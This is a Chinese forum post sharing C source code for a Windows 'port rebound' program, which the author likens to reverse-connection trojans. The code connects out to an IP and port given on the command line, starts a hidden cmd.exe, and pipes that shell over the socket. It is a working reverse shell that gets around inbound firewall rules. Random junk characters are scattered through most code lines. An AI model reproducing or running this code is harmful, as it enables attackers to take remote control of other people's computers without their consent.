社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3247阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =:+k  
;CU<\  
/* ============================== TJ:B_F*bSk  
Rebound port in Windows NT OHqc,@a;+  
By wind,2006/7 FtUOgL)|  
===============================*/ dbkkx1{>Y  
#include Q0K4_iN)&  
#include [<)/ c>Y  
)`RF2Y-A7  
#pragma comment(lib,"wsock32.lib") `"0#lZ`n  
C+r<DC3  
void OutputShell(); Y",Fs(  
SOCKET sClient; z$3 3NM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Kilq Jg1%C  
Lm kv .XF  
void main(int argc,char **argv) RVFQ!0 C  
{ })V9d  
WSADATA stWsaData; ^A8'YTl  
int nRet; Ni5~Buf  
SOCKADDR_IN stSaiClient,stSaiServer; la ~T)U7  
U!:Q|':=h  
if(argc != 3) D6iHkDTg  
{ ti:qOSIDTA  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7$(>Z^ Em  
return; :X>%6Xj?RV  
} Zho d%n3  
mPNT*pAO  
WSAStartup(MAKEWORD(2,2),&stWsaData); f>)k<-<yj  
r\y~ :  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D?w?0b Eu  
B2~KkMF  
stSaiClient.sin_family = AF_INET; r5qp[Ss3F  
stSaiClient.sin_port = htons(0); NymS8hxR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k zhek >  
x+zz:^yHYf  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .*u, !1u  
{ nXDU8|"  
printf("Bind Socket Failed!\n"); <|~8Ezd  
return; huu:z3{=J  
} =`5Xx(  
rn l~i  
stSaiServer.sin_family = AF_INET; *0)vsBi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6(4FC?Y7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +'abAST t  
:\x)`lu  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ] (3e +JC  
{ +tL]qO BP  
printf("Connect Error!"); 8\m_.e  
return; (W3~r  
} .jRp.U  
OutputShell(); 8kQ >M  
} Vx@JP93|  
 k%V#{t.  
void OutputShell() Z~^)B8  
{ .g.v  
char szBuff[1024]; kP9DCDO`[5  
SECURITY_ATTRIBUTES stSecurityAttributes; .P\wE";  
OSVERSIONINFO stOsversionInfo; dxkq*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `}gjfu -'\  
STARTUPINFO stStartupInfo; vn@9Sqk  
char *szShell; cq`v8  
PROCESS_INFORMATION stProcessInformation; B&&:A4  
unsigned long lBytesRead; w66iLQ\@  
@b\/\\{  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YaJ[39V  
^)Xl7d|m+  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~:r:?PwWG  
stSecurityAttributes.lpSecurityDescriptor = 0; * 8n0  
stSecurityAttributes.bInheritHandle = TRUE; 4y&%YLMpl  
!T/ ^zc;G  
6q ._8%  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ${^WM}N  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 12;"=9e!  
yTWP1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )Xxu-/-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !6: kJL}U  
stStartupInfo.wShowWindow = SW_HIDE; RiC1lCE  
stStartupInfo.hStdInput = hReadPipe; LutP&Ebt8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "ewSh<t  
Fyy)665x/  
GetVersionEx(&stOsversionInfo); A+*M<W  
d@~Hp?  
switch(stOsversionInfo.dwPlatformId) _,:gSDW|  
{ VSa\X~  
case 1: p9k' .H^:_  
szShell = "command.com"; I/D (gY06<  
break; H(U`S  
default: 4(>|f_$  
szShell = "cmd.exe"; K^j7T[pR  
break; \EF^Ag  
} 4$ LVl  
G9ku(2cq  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +CL`]'~;E-  
8SII>iL{  
send(sClient,szMsg,77,0); xMNUy B{?  
while(1) _oK*1#Rm8  
{ /?<o?IR~6  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H'E(gc)>)  
if(lBytesRead) $s-/![ 6  
{ VWqmqR%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Tg|0!0qD]F  
send(sClient,szBuff,lBytesRead,0); zKB$n.H  
} 2TB>d+  
else ssGp:{]v/  
{ e ?FjN 9  
lBytesRead=recv(sClient,szBuff,1024,0); 33dHTV  
if(lBytesRead<=0) break; BH"f\oc  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x5[wF6A  
} bK:mt`  
} k@MAi*  
x"q!=&>f  
return; Z _W.iBF  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五